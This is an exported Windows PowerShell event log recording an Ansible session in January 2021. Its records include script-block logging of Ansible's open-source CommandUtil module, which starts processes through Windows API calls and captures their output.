CAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAg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473
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1562 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 3724 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:39 AM | dfeadd90-ee34-0002-b3fb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1561 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 548 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:39 AM | dfeadd90-ee34-0000-a2eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3616 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1560 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 5052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:38 AM | dfeadd90-ee34-0000-a2eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1559 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3616 | 548 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:38 AM | dfeadd90-ee34-0000-a2eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1558 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4924 | 1048 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:33 AM | dfeadd90-ee34-0000-71eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4924 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1557 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4924 | 3084 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:33 AM | dfeadd90-ee34-0000-71eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1556 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4924 | 1048 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:33 AM | dfeadd90-ee34-0000-71eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = e0b6912c-2d88-4e16-8611-882f738d886c
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 2c1dfb7a-0b06-414f-88d0-5ffa34845d91
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1555 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 2948 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:33 AM | dfeadd90-ee34-0001-c727-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: b710a481-2d07-4365-b4a0-3d383ea3d320
